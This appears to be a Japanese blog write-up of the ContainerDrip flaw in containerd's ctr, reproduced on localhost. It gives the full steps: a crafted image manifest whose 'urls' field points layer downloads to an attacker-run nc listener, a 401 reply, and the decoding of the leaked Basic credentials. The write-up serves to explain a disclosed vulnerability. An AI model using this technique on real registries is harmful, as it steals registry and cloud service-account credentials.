Write-up公開直後に試してたんですが、諸事情で公開を待っていたやつです(後述)。
概要
9, 10月と専業主婦をやっていてしばらく今日の献立しか頭になかったのでリハビリがてら簡単そうな脆弱性を触ってみました。
ContainerDripという名前から想像されるようにcontainerdの脆弱性です。発見者が丁寧に解説も書いてくれています。2020/10/15に公開されています。
ということで概要は上のブログを見れば理解できます。簡単に説明すると、containerdのctr
コマンドで細工されたイメージをpullする時に認証情報を誤って流出させてしまうという脆弱性です。攻撃者の用意したイメージをpullしないといけないので外部からの能動的な攻撃が可能なわけではなく即座に危険ということはないですが、それでもpullするだけで刺さってしまうので攻撃実現性が著しく低いわけでもありません。
認証情報が流出すれば攻撃者はレジストリに任意のイメージをpush可能になるので、イメージにバックドアを仕込まれたり仮想通貨マイナーを仕込まれたりしますし、クラウドサービスの設定によっては他のAPIを叩けてしまう可能性もあります(後述)。
こちらにも解説ブログがありますので一応載せておきます。
脆弱性詳細
コンテナイメージはコンテナレジストリに保存されるわけですが、大きく分けてマニフェスト・コンフィグ・レイヤーの3つで構成されています。マニフェストというのはレジストリにおけるそのイメージのメタ情報を含んでいて、レイヤーのハッシュ値とかが書いてあります。クライアントはまず最初にマニフェストを取得し、次にハッシュ値に応じたレイヤーを取りに行くという流れでイメージのpullは行われています。普段docker pull
するだけで中がどうなってるのか分からない人は挙動を理解するためのブログがあるのでそちらを併せて見てください。
このレジストリのAPIで使われるマニフェストは以下で仕様が定義されています。
マニフェストの例は以下のようになります。
{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "size": 7023, "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7" }, "layers": [ { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 32654, "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f" }, { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 16724, "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b" }, { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 73109, "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736" } ] }
先ほど説明したようにlayers
の下に3つの要素があり、それぞれにdigest
が存在しています。ここから3つのレイヤーでイメージが構成されていることが分かります。これは通常のマニフェストなのですが、実は先程のページ内でlayers
の下に定義可能なフィールドが実は4つあることが分かります。例ではmediaType
, size
, digest
の3つしかないですが、urls
というフィールドも定義されています。
urls
のフィールドの説明には以下のように書いています。
Provides a list of URLs from which the content may be fetched. Content should be verified against the digest and size. This field is optional and uncommon.
通常であればマニフェストと同じサーバにレイヤーも存在するわけですが、urls
を指定した場合はクライアントに別サーバに取得しにいかせることが可能ということです。This field is optional and uncommon.
といかにもセキュリティリサーチャーが好きそうなことが書いてあります。"ここに脆弱性がありまぁす"と宣言しているようなものです。
自分はcurlでpullをするブログでもこのドキュメントに触れていますし、定期的に読んでいるので2万回以上は見ています。なのでurls
の存在ももちろん知っていたのですが最近は能動的に脆弱性を探すことはしないポリシーなので普通にスルーしちゃっていました。自分もある時点からOSS開発者という自覚を持つようになってしまったので、他OSSの脆弱性を見つけると動悸がするんですよね...
ということで今回の脆弱性はこのurls
を悪用したものとなっています。ctr
によって認証情報が流出するのは以下の流れです。
ctr
はレジストリAからイメージのマニフェストをダウンロードする(この時仮に認証情報Xを使うとする)- 取得したマニフェストは
urls
を含んでおり、レジストリBを指している ctr
はレイヤーをレジストリBから取得しようとする(認証情報なし)- レジストリBは
401 Unauthorized
を返す ctr
は誤って認証情報XをレジストリBに送ってしまう
認証情報XというのはレジストリAのためのものであって、それを誤ってレジストリBに送ってしまえばレジストリBの所有者に見られてしまいます。つまり、攻撃者が自分の用意したサーバをurls
に指定して、その細工したマニフェストを持つイメージをpullさせれば自分の用意したサーバに認証情報Xを送らせることが可能ということです。その後は得た認証情報XでレジストリAにログインして悪の限りを尽くせば完了です。
ここで、先程の発見者によるブログでは現実的なシナリオとしてGKEを挙げています。cos_containerd
をノードとして利用するとGKEクラスタでcontainerd
が使用できます。
そしてGKE上から攻撃者がGCRに用意したイメージをpullさせます。
--- apiVersion: apps/v1 kind: Deployment metadata: name: honk labels: app: honk spec: replicas: 1 selector: matchLabels: app: honk template: metadata: name: honk labels: app: honk spec: containers: - name: honk image: gcr.io/my-project-name/myimage:latest imagePullPolicy: Always
この時、GCRからイメージをpullするためにGKEクラスターにアタッチされたService Accountを利用します。
このService Accountが攻撃者に流出するということになります。ただしGKEではscopeを絞っているらしく、デフォルトでは権限はそこまで強くないとのことです。
ここら辺の設定で強めの権限を付与してしまっていたりすると、レジストリの認証情報流出にとどまらずアカウント乗っ取りにつながる可能性があるということです。詳細が気になる人は発見者ブログを見て下さい。
ということで詳細の説明終わりです。
試す
解説見てふーんで終わりだと面白くないので自分で試してみましょう。
Docker Registry作成
まずレジストリが必要なのでコンテナで起動します。自前でDocker RegistryをホスティングできるようにOSSのレジストリがDockerから提供されています。
単に起動するだけなら registry:2
をdocker runすれば良いのですが、今回は認証ありにしたいので最初にhtpasswdを用意します。
$ export AUTH_DIR=$(mktemp) $ docker run --rm --entrypoint htpasswd registry:2.7.0 -Bbn testuser testpassword > $AUTH_DIR/htpasswd
testuser:testpassword
でhtpasswdを作成しました。ちなみにドキュメントではregistry:2
でhtpasswdを打ってますが、最新のイメージだとhtpasswdが入ってなくて動きません。なので2.7.0を指定しています。Request docs changes
から修正リクエスト出せるので、貢献するチャンスかもしれません。
では起動します。
$ docker run -d \ -p 5000:5000 \ --restart=always \ --name registry \ -v $AUTH_DIR:/auth \ -e "REGISTRY_AUTH=htpasswd" \ -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \ -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \ registry:2.7.0
これでDocker Registryの起動は終わりです。
イメージのpush
先程立ち上げたDocker Registryに適当なイメージをpushしましょう。
$ docker pull alpine:3.11 $ docker tag alpine:3.11 localhost:5000/alpine:3.11 $ docker push localhost:5000/alpine:3.11 The push refers to repository [localhost:5000/alpine] 3e207b409db3: Preparing no basic auth credentials
設定したとおり、認証が必要になっています。ということでdocker loginします。
$ echo testpassword | docker login localhost:5000 -u testuser --password-stdin Login Succeeded
改めてpushします。
$ docker push localhost:5000/alpine:3.11 ... 3.11: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528
エラーが出なければOKです。
マニフェストの確認
マニフェストを確認してみます。
$ curl -s -u "testuser:testpassword" -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://localhost:5000/v2/alpine/manifests/3.11 | jq . { "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "size": 1507, "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a" }, "layers": [ { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 2813316, "digest": "sha256:cbdbe7a5bc2a134ca8ec91be58565ec07d037386d1f1d8385412d224deafca08" } ] }
Acceptヘッダーを指定しないとv1のマニフェストが返ってきちゃうので気をつけて下さい。認証が必要なので-u
オプションで渡しています。JSONを見て分かる通り、digest
が指定されています。これを細工します。
マニフェストの更新
上のマニフェストを保存してdigest
を削除しurls
を足します。今回は http://localhost:10000
を用意しています。面倒なので両方localhostでやっていますが、これは実際には別サーバだと思って下さい。
$ cat manifest.json { "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "size": 1507, "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a" }, "layers": [ { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 2813316, "urls": [ "http://localhost:10000" ] } ] }
これをレジストリにPUTします。
curl -s -u "testuser:testpassword" -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -XPUT -d@manifest.json http://localhost:5000/v2/alpine/manifests/3.11
これで準備OKです。うまく設定できたかもう一度GETで確かめても良いと思います。
攻撃者のサーバを準備する
では攻撃者サーバ想定である http://localhost:10000
を用意します。これは単にncで良いです。
$ nc -kl 10000
ctrでpullする
自分が使ったバージョンは以下です。
$ ctr -v ctr containerd.io 1.2.13
ctrでpullします。認証が必要なので--user
で渡しています。
$ ctr image pull --user testuser:testpassword localhost:5000/alpine:3.11
するとncしていた方には以下のようなリクエストが飛んできます。
GET / HTTP/1.1 Host: localhost:10000 User-Agent: containerd/1.2.13 Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, * Accept-Encoding: gzip
まだ認証情報は飛んできていません。攻撃者サーバで401 Unauthorized
を返す必要があります。
401を返す
適当に以下のようなファイルを用意します。
$ cat response.txt HTTP/1.0 401 Unauthorized Docker-Distribution-Api-Version: registry/2.0 Www-Authenticate: Basic realm="Registry Realm"
あとはこれをncに渡してレスポンスとして返すようにすればOKです。
$ ( cat response.txt ) | nc -kl 10000
再度ctrでpullをするとまず通常のリクエストが飛んできて、401を返したあと以下のリクエストが来ます。
$ ( cat response.txt ) | nc -kl 10000 ... GET / HTTP/1.1 Host: localhost:10000 User-Agent: containerd/1.2.13 Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, * Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3Jk Accept-Encoding: gzip
Authorization
ヘッダが含まれていることが分かります。
$ echo dGVzdHVzZXI6dGVzdHBhc3N3b3Jk | base64 -d testuser:testpassword
ということで無事にusername/passwordを取得できました。攻撃者は認証情報を得たのであとは好きにレジストリを操作できます。
余談
この検証自体はすぐに終わってブログも公開しようと思ったのですが、実はこの脆弱性を検証している時に某OSSに別の脆弱性を見つけてしまいました。念のためmasterから落としてきてソースコードを読んでデバッガでも試したのですが、やはり刺さる作りになっていましたし再現しました。そこそこインパクトのあるものでしたし見つけてしまった以上は報告しておくかということで報告したのですが、既知で修正に取り組んでいるとのことでした。じゃあその修正が公開されたらブログも公開しようということでしばらく待っていたのですが、リリースまで時間がかかりそうだったのでそちらの詳細は伏せて先にブログは公開することにしました。
そちらの脆弱性修正がリリースされたらこのブログに追記するかもしれません。
まとめ
よく知らないイメージをpullするだけでも怖いということです